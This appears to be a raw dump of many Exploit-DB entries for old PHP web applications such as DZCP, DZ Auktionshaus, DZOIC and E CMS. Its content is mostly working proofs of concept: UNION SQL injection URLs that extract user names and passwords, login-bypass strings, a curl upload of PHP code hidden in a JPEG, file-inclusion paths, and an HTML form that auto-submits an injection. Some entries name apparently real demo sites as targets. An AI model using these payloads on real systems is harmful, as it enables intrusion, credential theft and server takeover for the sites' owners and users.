deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11654
Description: DZ Auktionshaus 'V4.rgo' - 'id' news.php?SQL Injection
Type: webapps
Platform: php
Date: 2010-03-08
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : DZ Auktionshaus "V4.rgo" (id) news.php SQL Injection
+Autor : Easy Laster
+Date   : 08.03.2010
+Script  : DZ Auktionshaus "V4.rgo"
+Price : 99,99€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://server/auktionshaus/index.php?view=read&id=
+Exploitable   : http://server/auktionshaus/news.php?id=null+union+select+1,2,concat
(name,0x3a,password),4,5+from+users#
-----------------------------------------------------------------------------------------
Exploit-DB #11582
Description: DZ Erotik Auktionshaus 4.rgo - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-27
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/auktionshaus/news.php?id=
+Exploitable   : www.site.com/auktionshaus/news.php?id=null+union+select+1,2,concat
(name,0x3a,password),4,5+from+users#
-----------------------------------------------------------------------------------------
Exploit-DB #7722
Description: DZcms 3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-11
Author: Glafkos Charalambous

Exploit:
Application: DZcms v.3.1
Vendor Name: CyDezines
Vendor Url: http://www.cydezines.com
Bug Type: dzCMS SQL Injection Vulnerability
Exploitation: Remote
Severity: High
Solution Status: Unpatched
Google Dork: "Powered by DZcms"

POC: http://www.demo.com/products.php?pcat=1'+union+select+all+convert(group_concat(username,0x3a,password)%20using%20latin1),2,3,4,5+from+users/*

Demo:
http://www.psgdynamicsystems.com/products.php?pcat=1'+union+select+all+convert(group_concat(username,0x3a,password)%20using%20latin1),2,3,4,5+from+users/*

Credits: Glafkos Charalambous
glafkos [at] astalavista [dot] com

# milw0rm.com [2009-01-11]
Exploit-DB #29207
Description: DZCP (deV!L_z Clanportal) 1.3.6 - 'Show' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-01
Author: Tim Weber

Exploit:
source: https://www.securityfocus.com/bid/21391/info

deV!Lz Clanportal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

This issue affects version 1.3.6; other versions may also be vulnerable.

http://www.example.com/index.php?show=-1'+%55NION+%53ELECT+1,+'Admin+Panel\',+level%3d4,+waffe%3d\'SQL+Injection',+2,+3,+'
Exploit-DB #2876
Description: DZCP (deV!L_z Clanportal) 1.3.6 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2006-12-01
Author: Tim Weber

Exploit:
S Y N O P S I S  /
================='
-(  access: remote   severity: high  )-
deV!L`z Clanportal allows nearly arbitrary files to be uploaded and stored on
the server's filesystem, which enables anyone, even without a user account, to
upload PHP code and execute it, leading to arbitrary code execution.


B A C K G R O U N D  /
====================='
deV!L`z Clanportal (short "DZCP") is a suite of PHP scripts that allow anybody
to create a feature-rich website for her online gaming clan.


A F F E C T E D   V E R S I O N S  /
==================================='
verified on:  1.3.6
possibly vulnerable:  <= 1.3.6
fixed in:  1.3.6.1


I M P A C T  /
============='
The attacker can run own code on the web sever with the same privileges as DZCP
itself, enabling her to do almost anything from getting the MySQL password to
hosting own files and scripts or getting a shell on the server.


P R E R E Q U I S I T I E S  /
============================='
the attacker needs a file that is both a valid JPEG or GIF file and valid
PHP (or probably other) code

A B O U T   T H E   A U T H O R  /
================================='
Tim Weber, computer science student at the University of Mannheim, Germany,
currently looking for an internship at some IT security or pentesting company,
can be reached via e-mail: scy-adv-061124b at the host scytale.de.

P R O O F   O F   C O N C E P T  /
================================='
Get a JPEG file, open it in a hex editor, add some PHP inside the EXIF data or
in similar places.  Make sure PHP's getimagesize() does not return false and
that the file does not throw parse errors or the like when fed to PHP.  Then:

curl -F 'file=@img.php;type=image/jpeg' 'http://<dzcp>/upload/index.php?action=userpic&do=upload'

Then check http://<dzcp>/inc/images/uploads/userpics/.php

# milw0rm.com [2006-12-01]
Exploit-DB #3357
Description: DZCP (deV!L_z Clanportal) 1.4.5 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-02-21
Author: Kiba

Exploit:
# DZCP (Devilz Clanportal) <= 1.4.5 Mysql Data viewable
# Found by: Kiba
# Solution: Install security Fix!
# Exploit:

http://[SITE]/[PATH]/inc/filebrowser/browser.php?file=inc/mysql.php

Example: http://www.example.com/dzcp/inc/filebrowser/browser.php?file=inc/mysql.php

# milw0rm.com [2007-02-21]
Exploit-DB #11735
Description: DZCP (deV!L_z Clanportal) 1.5.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-03-14
Author: cr4wl3r

Exploit:
[+]  deV!L`z Clanportal 1.5.2 Remote File Include Vulnerability
[+] Discovered By: cr4wl3r
[+] Download: http://www.dzcp.de/downloads/?action=download&id=131
[x] Code in [dzcp1.5.2/inc/config.php]

## REQUIRES ##
require_once($basePath."/inc/mysql.php");  <--- RFI

function show($tpl, $array)
{
  global $tmpdir;
    $template = "../inc/_templates_/".$tmpdir."/".$tpl;
  
    if($fp = @fopen($template.".".html, "r"))
      $tpl = @fread($fp, filesize($template.".".html));
    
    $array['dir'] = '../inc/_templates_/'.$tmpdir;
    foreach($array as $value => $code)
    {
      $tpl = str_replace('['.$value.']', $code, $tpl);
    }
  return $tpl;
}

[+] PoC: [path]/inc/config.php?basePath=[Shell]

[+] Solution: Change php.ini and set allow_url_fopen to Off
Exploit-DB #12449
Description: DZCP (deV!L_z Clanportal) 1.5.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : deV!L`z Clanportal V1.5 Mullti Vulnerability           
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                             
| # Script   : CMS © 2005 - 2010 by deV!L`z Clanportal - supported by TEMPLATEbar.de      
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti    
| # Download : freewebtown.com/indoushka/indoushka/dzcp1.5.3.zip                                                                  
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - location replace :
 
 http://127.0.0.1/dzcp1.5.3/thumbgen.php?img=[d:\11.jpg]
 
 2- RFI :

http://localhost/dzcp1.5.3/server/index.php?get[status]=[EV!L]

http://localhost/dzcp1.5.3/inc/bbcode.php?lng=[EV!L]

http://localhost/dzcp1.5.3/inc/menu-functions/server.php?get[status]=[EV!L]

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #15323
Description: DZCP (deV!L_z Clanportal) 1.5.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-10-27
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22656
Reference: http://www.htbridge.ch/advisory/lfi_in_dzcp.html
Product: DZCP 
Vendor: dzcp.de  ( http://www.dzcp.de ) 
Vulnerable Version: 1.5.4 
Vendor Notification: 13 October 2010 
Vulnerability Type: Local File Inclusion
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in [prefix]_language variable from cookie.

The following PoC is available:


Cookie: [prefix]_language=../../../1;

File must exist. 
Solution: Upgrade to the most recent version
Exploit-DB #18386
Description: DZCP (deV!L_z Clanportal) 1.5.5 Moviebase Addon - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-01-18
Author: Easy Laster

Exploit:
========================================================================================                 
| # Title    : deV!L`z Clanportal 1.5.5 Moviebase Addon Blind SQL Injection Vulnerability         
| # Author   : Easy Laster                                                                               
| # Download : http://www.modsbar.de/Addons/79/moviebase/
| # Script   : deV!L`z Clanportal 1.5.5 Moviebase     
| # Price    : 20
| # Bug      : Blind SQL Injection   
| # Date     : 12.01.2012
| # Language : PHP
| # Status   : vulnerable/Non-Public
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah                                                               
======================        Proof of Concept         =================================
[+] Vulnerability

    movies/index.php?action=showkat&id=

[+] Injectable

    #true

    http://[host]/[path]/movies/index.php?action=showkat&id=1+and+1=1--+


    #false   

    http://[host]/[path]/movies/index.php?action=showkat&id=1+and+1=2--+

[-] The SQL Injection Filter Function must be bypassed  ()
Exploit-DB #18385
Description: DZCP (deV!L_z Clanportal) Gamebase Addon - SQL Injection
Type: webapps
Platform: php
Date: 2012-01-18
Author: Easy Laster

Exploit:
========================================================================================                 
| # Title    : deV!L`z Clanportal Gamebase Addon SQL Injection Vulnerability         
| # Author   Easy Laster                                                                                                                                                                                                                                                                                                          
| # Download : http://www.modsbar.de/Addons/464/gamebase-addon/
| # Script   : deV!L`z Clanportal Gamebase Addon       
| # Price    : 20
| # Bug      : SQL Injection   
| # Date     : 05.01.2012
| # Language : PHP
| # Status   : vulnerable/Non-Public
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah                                                               
======================        Proof of Concept         =================================
[+] Vulnerability

    gamebase/?action=detail&gameid=

[+] Injectable

    http://[host]/[path]/gamebase/?action=detail&gameid=1+union+select+1,2,3,4,5,nick,
    pwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+dzcp_users+where+id=1--+
Exploit-DB #18558
Description: DZCP (deV!L_z Clanportal) Witze Addon 0.9 - SQL Injection
Type: webapps
Platform: php
Date: 2012-03-04
Author: Easy Laster

Exploit:
========================================================================================
| # Title    : deV!L`z Clanportal Witze Addon Versions 0.9 SQL Injection Vulnerability
| # Author   : Easy Laster
| # Download : http://dzcp-zone.de/downloads/?action=show&id=97
| # Script   : Witze Addon Versions 0.9
| # Price    : free
| # Bug      : SQL Injection
| # Date     : 03.03.2012
| # Language : PHP
| # Status   : vulnerable
| # Greetings: secunet.to ,4004-security-project, Team-Internet, HANN!BAL, RBK, Dr.Ogen, ezah
======================        Proof of Concept         =================================

   [+] Vulnerability
   
   jokes/index.php?action=show&id=

   [+] Injectable
   
   jokes/index.php?action=show&id=[PII_REDACTED][PII_REDACTED]99999999+union+select+1,1,nick,pwd,1,1+from+dzp_users+where+id=1--+
Exploit-DB #10906
Description: DZOIC ClipHouse - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-01-02
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: DZOIC ClipHouse suffer from auth bypass remote sql injection
[~] Vendor: www.dzoic.com
[?] Software: DZOIC ClipHouse
[-] PR!CE : $149.00
[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 1.Jan.2010
[?] T!ME: 2:8 am GMT
[?] Home: WwW.xP10.ME
[?]
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????




[?] Exploit:


X666 : LOGIN FROM MAIN PAGE



FROM Members Login W!NDOw

[?] Username : admin_name

[?] password : x' or ' 1=1--

[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------













N073:


REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !



[~]-----------------------------{((Angela Bennett))}---------------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--JUPA-aNd-Devil ro0t : Goo Goo Cs Tiroo

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #10901
Description: DZOIC Handshakes - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-01-01
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: DZOIC Handshakes suffer from auth bypass remote sql injection
[~] Vendor: www.dzoic.com
[?] Software: DZOIC Handshakes
[-]
[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 1.Jan.2010
[?] T!ME: 12:27 pm     GMT
[?] Home: WwW.xP10.ME
[?]
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????




[?] Exploit:

FROM Members Login

[?] Username : admin_name

[?] password : x' or ' 1=1--

[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------


N073:


REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !



[~]-----------------------------{((Angela Bennett))}---------------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--JUPA-aNd-Devil ro0t : Goo Goo Cs Tiroo

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #31837
Description: DZOIC Handshakes 3.5 - 'fname' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-24
Author: Ali Jasbi

Exploit:
source: https://www.securityfocus.com/bid/29353/info

DZOIC Handshakes is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DZOIC Handshakes 3.5 is vulnerable; other versions may also be affected. 

http://www.example.com/dzoic/index.php?handler=search&action=perform&search_type=members&fname=[Sql Injection]&lname=jakson&email=1@www.example2.com&handshakes=0&distance=0&country=0&state=0&city=0&postal_code=12345&online=on&with_photo=on&submit=Search
Exploit-DB #15847
Description: DzTube - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-29
Author: errnick qwe

Exploit:
Title: DzTube SQL Injection Vulnerability
Discovered: ErrNick
Site: xaknet.ru
Date: 28/12/2010
Vendor: n/a
d0rK: inurl:"channel_detail.php?chid="

Exploit: host.com/channel_detail.php?chid=[SQL]

Demo:
http://site/channel_detail.php?chid=-51+union+select+1,username,pwd,4,5,6,7,8,9,0,1,2,3,4,5,6+from+signup


Greatz: to xaknet.ru vulnes.com
Exploit-DB #2687
Description: E Annu 1.0 - Authentication Bypass / SQL Injection
Type: webapps
Platform: php
Date: 2006-10-30
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>E Annu 1.0 Login Bypass SQL Injection Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: E Annu 1.0 Login Bypass SQL Injection Exploit
//'[Coded by   : ajann
//'[Author   : ajann
//'[Contact    : :(
//'[Using : Write Target after Submit Click
//'===============================================================================================
   

     //Basic exploit,but any time : ( 

function command(){
       if (document.sql.login.value==""){
          alert("Failed..");
      return false;
    }


  
  sql.action= document.sql.target1.value // Ready Target : )
  sql.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>
<p><b><font face="Verdana" size="2" color="#008000">E Annu 1.0 Login Bypass SQL Injection</font></b></p>
<p></p>
<form method="post" name="sql" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>

  <input type="hidden" name="login" value="' union select 0,0,0,0,0 from user/*" onmouseout="javascript:this.style.background='#808000';"></p>
<input type="hidden" name="password">
<input type="hidden" name="action_connect">
<br>
 <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';">

  <p><input type="submit" value="GÃ¶nder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
</p>
<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2006-10-30]
Exploit-DB #9461
Description: E CMS 1.0 - 'index.php?s' SQL Injection
Type: webapps
Platform: php
Date: 2009-08-18
Author: Red-D3v1L

Exploit:
==============================================================================
                         ##  Hackteach.OrG ##
             
                      zZzZzZz                 zZzZzZz
                          Zz     ooooo            Zz    
                         Zz      o   o           Zz  
                        Zz       o   o          Zz 
                       Zz        o   o         Zz    
                      Zz         ooooo        Zz 
                     zZzZzZz                 zZzZzZz     
       
==============================================================================
        [Â»] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [Â»]  E Cms <= 1.0 Remote SQL Injection Vulnerability
==============================================================================
    [Â»] my home:            [ Hackteach.org ]
    [Â»] Script:               [ E Cms 1.0]
    [Â»] Language:           [ PHP ]
    [Â»] Home:               [ http://cmsdemo.enterbt.hu ]
    [Â»] Founder:            [ Red-D3v1L < php-c0de@hotmail.com > ]
    [Â»] Gr44tz to:          [ All member Hackteach.org/cc And Str0ke :$ ]
    [Â»] Fuck To :           [ Anti-trust << Big Big Big Lamer << ]
#########################################################################
 
===[ Exploit SQL ]===  
    [Â»] Path/index.php?s=-10+union+select+version()--
    [Â»] L1v3 d3m0 : http://cmsdemo.enterbt.hu/html/index.php?s=-10+union+select+version()--

Author: Red-D3v1L <-

###########################################################################

# milw0rm.com [2009-08-18]